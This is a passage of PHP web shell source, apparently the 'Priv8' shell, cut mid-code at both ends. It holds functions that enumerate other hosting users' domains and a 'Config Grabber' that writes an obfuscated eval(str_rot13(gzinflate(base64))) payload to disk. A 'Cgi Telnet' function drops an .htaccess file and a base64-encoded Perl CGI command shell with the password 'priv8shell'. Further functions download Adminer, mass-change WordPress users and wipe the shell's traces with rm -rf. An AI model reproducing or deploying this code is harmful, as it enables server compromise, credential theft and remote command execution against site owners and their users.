                $jrw = "[<font color=white>R</font>] <a href=\'?path=$user_jumping_dir\'><font color=red>$user_jumping_dir</font></a>";
                if (is_writable($user_jumping_dir)) {
                    $jrw = "[<font color=white>RW</font>] <a href=\'?path=$user_jumping_dir\'><font color=red>$user_jumping_dir</font></a>";
                }
                echo $jrw;
                if (function_exists(\'posix_getpwuid\')) {
                    $domain_jump = file_get_contents("/etc/named.conf");
                    if ($domain_jump == \'\') {
                        echo " => ( <font color=white>I can\'t take the domain name</font> )<br>";
                    } else {
                        preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
                        foreach ($domains_jump[1] as $dj) {
                            $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
                            $user_jumping_url = $user_jumping_url[\'name\'];
                            if ($user_jumping_url == $user_khoer_jump) {
                                echo " => ( <u>$dj</u> )<br>";
                                break;
                            }
                        }
                    }
                } else {
                    echo "<br>";
                }
            }
        }
    }
}
if ($i == 0) {
} else {
    echo "<br>Total " . $i . " Directory " . gethostbyname($_SERVER[\'HTTP_HOST\']) . "";
}
echo "</div></pre>";
	echo "</div>";
	hardFooter();
}

function actionSafeMode() {
	hardHeader();
	echo "<center><h1>Config Grabber</h1><div class=content><br>";
	@ini_set(\'display_errors\', 0);
	$cgi_dir = mkdir(\'priv_sym\', 0755);
        chdir(\'priv_sym\');
	$file_mass = "conf.php";
	$mass_script = "PD9wSHAgJGhleCA9ICI3VnpyUnR0VkV2KzhSL0UvekxxNHNna1BrWG0yc3BVQUcrQjV2TnlkWkp5Rld3ZzVsMU9ua1RDK3NUUzJ0RlZiL08vWE15UEo4Z3VMOUh6WXF6cXFWZlNZL3ZWdytpWGg5c2ZZanZ0WmE0MXRHRE1uNGNPK1kxM3Fzdm91T2RqK3NMa1JqMWFEYks1VUV6b1FZWVA1SXpoNG5GMmQ5VUpic0hHWC9MQzlXbzZPVlhvUTI3VjY4c2ZtQm9FZkVWR1UxQTlNNE1hT2Fzd1Q0VzJOMmxKNWgyZkFDQlB1dldPSldqM0NmTWVocmlmQzJ2YWhsYTJ1Zjhnd0htOFBEcCswREZ2OXM5UFdiTUZnYmVsWVBhRDJPSjdVdjFjeDZubVkzbFNVYkt4ZXJKVS9IOVBITUdrYk5jZU43My9xRjR0M29NSzdhdSsyUDFsS2lnZlJxQ1UyMlhERUltYkxMWmRGcjBsZXZSVnNQQWdFY0FSWlkrcHJNYlVadWJaUVFHN2tNMXJBZDYxdWJSUGJqM2xtNDBic2lzQ2o3a010UStEN2taZGhZV2ZDOEh6b0NPS0pCOCtDV29oNnN1OVJEa1JxcnJnZGdnSG5ZbUZodExnWHMvR1FaK3h1clNUU3gyU2NpTDdqZTMwd2pDZDVqeTJvZXUzbmI0TUJDaFZ6OUJKZTBHbzRjSU1RTk1zdHJTL1V2NjVjS0I2Y2hJWmd3TTBOaVR5OVNzWWVSa3J3SUlJTkxORmxVN2F5cGVWOVJpd2NQZ3YrWG04djRxcTFQbXVYbEV2U2ZQbng2L3p0MzFJNm9oTE1aTVdrN3dxd2RDQWFhT3ZPdXVmdW5UVVlET0JWMmVqT3NpQUc2dkNyTU9jWlZnZEhHQ24zZ2dnUU1zdkdCY0dDSG1iZVNDUDdtYmo3cEhOU251ZUVOR0RXd05uVERxMDhZSDdqRkVTbUJKRHRYVU0zQkRFWTIvY2VjejJ6T2xUTnptcTU5TjVYWFA5V2RwcGpORmpya2RyaWtjV1ZhOTdRVkpxS01NYXdCYy96UnVzRjVvVTFsNWNJaGl6MkJMTlBNZVorNGt5UWM3M1luckJYckQrNXZzTVR2STBMcHJFZFIyOThCdTdrOFVsUkhRUm03amdXVWJlVjBBQ1VhMVdUdFhsaStRUmxGY1h3RE5QWWZzbnVuanJDN21YWHcrbVp4SUdLbk56Z0lmZjRpRE5FVm9SZWtzUXM0YU9sSWp4YVFyUERwL1hWTDRGTnM2YjJkcElsdGU5d1U5K29UR05xbnVCL3YvcHliVHhiL2RhWitPM0IyelhtaFJVdnNDMnMvdE1hYVdaUVR1WUM3R2NqN2s4K09YZWZmOTc3aWV4ODVtbWdtVStDSVR2WEV4c3FleGRjSDJIUkpCUXUreHk3ekNNN2Y3czZ2NzBoTy9MZlpqNVg0SDRMR2o5TXRwcCtBaG9WcDUrRVlRS0JIZGs1NGFtNGlGQXZPbTJWQ2FJNWtFb3lUY0JobXh0YU1XTWh4ZmJzVm5rTFpYY1hTcnJVRHNsZi9uWDIvdHJ1dGM3N242OWliU2VkMjk0VCtkZitxN0xweVplVDd0ZUNWMWRRN2lUNlNZbTQzYngrUlZoaWFadFVQeHk4MlFlU3lpNG50eGZsWWhPWGozTWRZY2JmOUUyNWRZblBlc1VzN2xSZVEvWWluaVJGMzMvNzREWGtCQXJ3eWtQYTBwUndDblpsa2QyTVNiWEJqUHVPbFRVYkVtQzNFRzlCNGExbzNlVzB1K3FEek5CdU5mWmYvYno5L3VHOTdNc3k2cXpYeXNUS09Wa2J6TkxOTDYrL3FpWkdYVVhLekJob1dPcVVMUVdadU92eUlZUjNCRDJIU0tLeDlyWE9FWFJFalJ3ZGs5ckYxZTFlNmRvdVRFL2srQ09vRW1DRU5FelMrbldjb3I5TUR6SGZ4blVBMWF1c0oxN2RrblVZM1dwSDFuQyt2ZEFnMHg1dlBkQlBxNkFoc242Z0F2MWMyZGZrYkhxdnhQKzVFcTdoOGpxOUh1NStjWUVwRWo4VWVVNm9YMU4ra2dpdzEyMFlFeGphUW93aE1TTkRUbURLUGd2a3Q4TXFBVERIM1dwWTIzekt1alJhaFJ1SUNvRUUzbm9NakM0WUZ3RVYwSVZkLzNNMHg2V2hIMnZteEFzZ0tJMkI1VjdRbnlSbkJObWpBTGsrcStBSk00L2FURGJQbjZlclExdVFWajBreWlpaEV5eUU4RGdTVDc2RTQwdUR5TXFDdHlrTzRPSU1DV0NMQWNNcWtTOVM0aGp3cmtPa0ZBbWhZZUlnN2w5d0FkNWcvZHZBYVlCMEdJaG9yQlFMTCtzMGduNGpTakhkUEl0T3FGaWdwKzIyS3NpU0xteHMrRTlzY2U1UGIzSEpDNG1pc2hjU0krVlNKL3JOR09vbUVsQ0ZQUkpRY2g4a0JnUStGdUVORnVGcXRRNkxJb01mQ2FHQ2R4VlZ4WWdiVVhiQVNScTFJc2lGQkRFaHlKOEFVQzR6WUE0RG11QVZ3ZXVCU2dPSlkyamFPc2RQME5Wc3B5SlJoSWQxdGMvT1Fadm5QWG5BdHJJL1kzRDluQm5DQ2Ftc1JITkRESGxuZWEvc1UxN2daTmNudnhyd0dMd3MzVUVUNi8zeWxSVVNJc0JRbkRZLzlacExERGNVTGhLREdzRG8zbHozUWREYmtzVENVMktNQ1JDdFFhZlo2eGhFaWJ0dmNtTDBJclVNQUhJNTExbkdOWk5pa1NpWDF6YzMrT1JuR1NjSlBqbU5qS0JjdHYrT1V2Q0hTMXJRQ0xlZGs4NnZQU3dJdC9seDVhTk5VcERVQklqT0NYUENWS2NGTTA2a3NjeUVSV0FRcTN2VjYvNXAybE9iS2hMQkkvWFJtcG1CeVdVTnRtN05rZzIyVUJ5WmdibnN0SDdyYnZmcGtyTlVnVFh2eUFSVnE5ZDZON0ZzcHlVQzM4V21ESE1DcE5XNXdUOGc4UVQvWTNFQVVJYVBnZEF4RURaVmlMTnBzM3ZWZG02OTdNeHFnNGd6cklzNGMyQTYzZTUyRzkzRmFvS0ErdWdPbkJ0T2RyZlFRa3Q2aG40NDh2RVFUUE51cGtndzB5VDh2NUl1NlVteGZmc3R0dWxCc1FCTXpjSy9wWndDb2Q4L085d1cySXl0dlJaZHdUSVlVQSsrSmw2OWpGTUxmK204cEE5TVhFY2dwdy81VUNzZUNRdWgzaWtqTWE0TVlGbGZCSnNCTW00WEF6dWtYazBpTWJUTGJ3WFJMK21Nb0tEM0tBOTJNekIxWkZsU2NGN1JrRGhEUTdBeG9BdUJvVlV5NG4vRkorUENtR3g3YlA0dGZUenVIOElPS24ydTlUOXRvVTdFeGM4Q29pRU5XRGo3bVZrMFhJRVVNL3IyemV0cVJnaVp5cVVmU3ZvQVNMYlVISndacEN0d1ZkT2ljUkxPbkwxeDBqSUNOdXV1R0NTZExNd0lwVmlXVGl4USs1aVhMNU5naGxITFdKbFdNRkNpVGt3ekUxSzZ1Qm1OeU9wZXUzemd1enh4STRka3NsQWczYkpzeXZNNW52bko2UmNNVkJYelBEd0ZUcVlEUFhkVGVDSlhNMDBaODNKbW40cmZMQUF3Vzg3b2lZaUVpWEpxbEJpSzcwZUtGYk5ISmJ2dmxTMmh4azlxNThlcnlqOXd4NWU2bE5qc3p1cStqUEIyOXRKR1VuZ3ZuUzdOZjRyNXhxMWNqSVc1eTIrR1NYaXFCbURWdFpMRzh1SzZidGgwaFZ5WXp5eTJJcHY0T3lMUFZTckg5VU52RnJKMnNLV1NLR1l0bVJwOUVlZmxScVl6Q2hzWklyMFNIRzllem0vcWJuUEorN2toMGRJVTZPeDg2TXhWZFhhMms1U0dQdk5ZK1R5b25CZzlnK1NSamhJeE53Tk5XNkgxMm5iTUZ4cHMvV3B5UjQyQ1ltNWVtSHlwbzYyTzQ0cno0b3Y1Um4xbVdPMHdrTFhXUFQ3a0pHWEYrT2hoTVhMZDFZNFB4MkJ1RXRDRXVsU2p4QmZIbjZndERpMXM5ZmpRNHZDYndkUythTFp0U1pyTmpXeHNWL1BUUmFBbS9DOFp3OExSb3ZEWmIwdlhMYi9XYjk4azZ0SmNTMDdjTEJWSmxqaGJZbGwxOVQwRUw1Wk5STTBJV2szcVczeWVsVjFHU0JaOXRwSnpSVTd2a0pKSGF4RU5KVFFBM3RVSUR5UVFuRmduTE9UKzdydFFkVzBTVlhESFZ5QTUyUzQvbGxFZ3RvUWtTU1BEUUI0a1kyZEhsL2ZxeEtVRE9INW1RNWVPREZTdkR3N3FBSmJMcGNUSUdoN1NxS2xXU0ExSFVYRW1xWlh6MDl4VVJhVGN4SWROcm96elhWcWZnaWlaZFcyWDRKd3dZcGpJS3dPWkNkK1R0ejhlT0E4ZjRGTWs0bGJrd1kzWEI2QzBSWmJxT2ZsN0RxRUhOOEMzQzBZVE9EbTA5SUt5R0dZa01wQ25OTC9DVEFXaXpQT0JycVdQaUtZdmtTNEtTbndEQnBEOW9nNVZpZXRWT2tWVG5SdnZNTFloaVJOaTZDaHRmNVRHMG1BNVlBdFo3WDMvdldjQXl3dmxQKzdVcWZUMlBaR2ZqLzhMIjsKZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCgkaGV4KSkpKSkpOyA=";
	$mass = fopen($file_mass, "w");
	fwrite($mass, base64_decode($mass_script));
	echo "<br><center>  <iframe src=\'priv_sym/conf.php\' width=\'900\' height=\'480\'></iframe></a>";
	echo \'</div>\';
	hardFooter();
}
function actionEdituser() {
	hardHeader();
	echo "<center><h1>Wordpress Mass User Changer</h1><div class=content><br>";
	echo "<br><center>  <iframe src=\'?user\' width=\'900\' height=\'400\'></iframe></a>";
	echo \'</div>\';
	hardFooter();
}
function actionLogout() {
	exec("rm -rf priv_sym priv_cgi adminer.php");
    setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);
	die("<style>
	body {background-color:#000000; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\'); } </style></br></br><body><pre align=center><form method=post style=\'color:#ffffff;text-align: center;\'>Bye -,-<br><br></form> </body>");
}
function actionSelfRemove() {
	if($_POST[\'p1\'] == \'yes\')
		if(@unlink(preg_replace(\'!\(\d+\)\s.*!\', \'\', __FILE__)))
			die(\'Shell has been removed\');
		else
			echo \'unlink error!\';
    if($_POST[\'p1\'] != \'yes\')
        hardHeader();
	echo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>\';
	hardFooter();
}


function actionAdminer() {
	hardHeader();
	echo "<center><h1>Adminer</h1><div class=content><br>";
	$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);
	function adminer($url, $isi) {
		$fp = fopen($isi, "w");
		$ch = curl_init();
		 	  curl_setopt($ch, CURLOPT_URL, $url);
		 	  curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
		 	  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		 	  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		   	  curl_setopt($ch, CURLOPT_FILE, $fp);
		return curl_exec($ch);
		   	  curl_close($ch);
		fclose($fp);
		ob_flush();
		flush();
	}
	if(file_exists(\'adminer.php\')) {
		echo "<center><font color=white><br><br><a href=\'adminer.php\' target=\'_blank\'>[ Adminer login ]</a><br><br><br></font></center>";
	} else {
		if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
			echo "<center><font color=white><br><br><a href=\'adminer.php\' target=\'_blank\'>[ Adminer login ]</a><br><br></font></center>";
		} else {
			echo "<center><font color=red>Failed to create Adminer file</font></center>";
		}
	}
	hardFooter();
}
function actionBruteforce() {
	hardHeader();
	echo "<center><h1>Cgi Telnet</h1><div class=content><br>";
	$cgi_dir = mkdir(\'priv_cgi\', 0755);
        chdir(\'priv_cgi\');
	$file_cgi = "cgi.priv";
        $memeg = ".htaccess";
	$isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks 
 AddType application/x-httpd-cgi .priv 
 AddHandler cgi-script .priv 
 AddHandler cgi-script .priv";
	$htcgi = fopen(".htaccess", "w");
	$cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiUFJJVjgtU0hFTEwgVmVyc2lvbiAxLjMiOwokRWRpdFBlcnNpb249Ijxmb250IHN0eWxlPSd0ZXh0LXNoYWRvdzogMHB4IDBweCA2cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApLCAwcHggMHB4IDVweCByZ2IoMzAwLCAwLCAwKTsgY29sb3I6I2ZmZmZmZjsgZm9udC13ZWlnaHQ6Ym9sZDsnPlBSSVY4LVNIRUxMPC9mb250PiI7CgokUGFzc3dvcmQgPSAicHJpdjhzaGVsbCI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzIHRvIGxvZ2luLgpzdWIgSXNfV2luKCl7Cgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7CglpZigkb3MgPX4gbS93aW4vaSl7CgkJcmV0dXJuIDE7Cgl9CgllbHNlewoJCXJldHVybiAwOwoJfQp9CiRXaW5OVCA9ICZJc19XaW4oKTsJCQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UKCQkJCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDAwMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcwoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcwoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLgoKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UKCQkJCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQKCQkJCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdAoJCQkJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CiRjb2xzPSAxNTA7CiRyb3dzPSAyNjsKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJbXkgJGRpciA9JEN1cnJlbnREaXI7CgkkZGlyPX4gcy9cXC9cXFxcL2c7CglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD4KPGhlYWQ+CjxsaW5rIGhyZWY9J2h0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcGVuK1NhbnMnIHJlbD0nc3R5bGVzaGVldCc+CjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KPHRpdGxlPlByaXY4IFNoZWxsIENnaTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IE9wZW4gU2FuczsKfQp0ciB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpjb2xvcjogI2ZmZmZmZjsKfQp0ZCB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpjb2xvcjogI2ZmMTExMTsKZm9udDogMTBwdCBPcGVuIFNhbnM7Cn0KCnRhYmxlIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7Cn0KCgppbnB1dCB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKZm9udDogMTBwdCBPcGVuIFNhbnM7CmNvbG9yOiAjZmZmZmZmOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICNmZjExMTE7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgT3BlbiBTYW5zIGJvbGQ7CmNvbG9yOiB3aGlsZTsKfQoKcnVuIHsKYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7CmZvbnQ6IDEwcHQgT3BlbiBTYW5zIGJvbGQ7CmNvbG9yOiAjRkYwMEFBOwp9Cgp0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOwpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogI2FhYTsKfQpBOmxpbmsgewoJQ09MT1I6ICNmZjExMTE7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CglDT0xPUjogI2ZmMTExMTsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTpob3ZlciB7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KCi5saXN0ZGlyIHRyOmhvdmVyewoJYmFja2dyb3VuZDogIzQ0NDsKfQoubGlzdGRpciB0cjpob3ZlciB0ZHsKCWJhY2tncm91bmQ6ICM0NDQ7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOwp9Ci5ub3RsaW5lewoJYmFja2dyb3VuZDogIzExMTsKfQoubGluZXsKCWJhY2tncm91bmQ6ICMyMjI7Cn0KPC9zdHlsZT4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQp7CgkvKnZhciBhamF4PSdhamF4X1Bvc3REYXRhKCJGb3JtUGVybXNfJytpKyciLCIkU2NyaXB0TG9j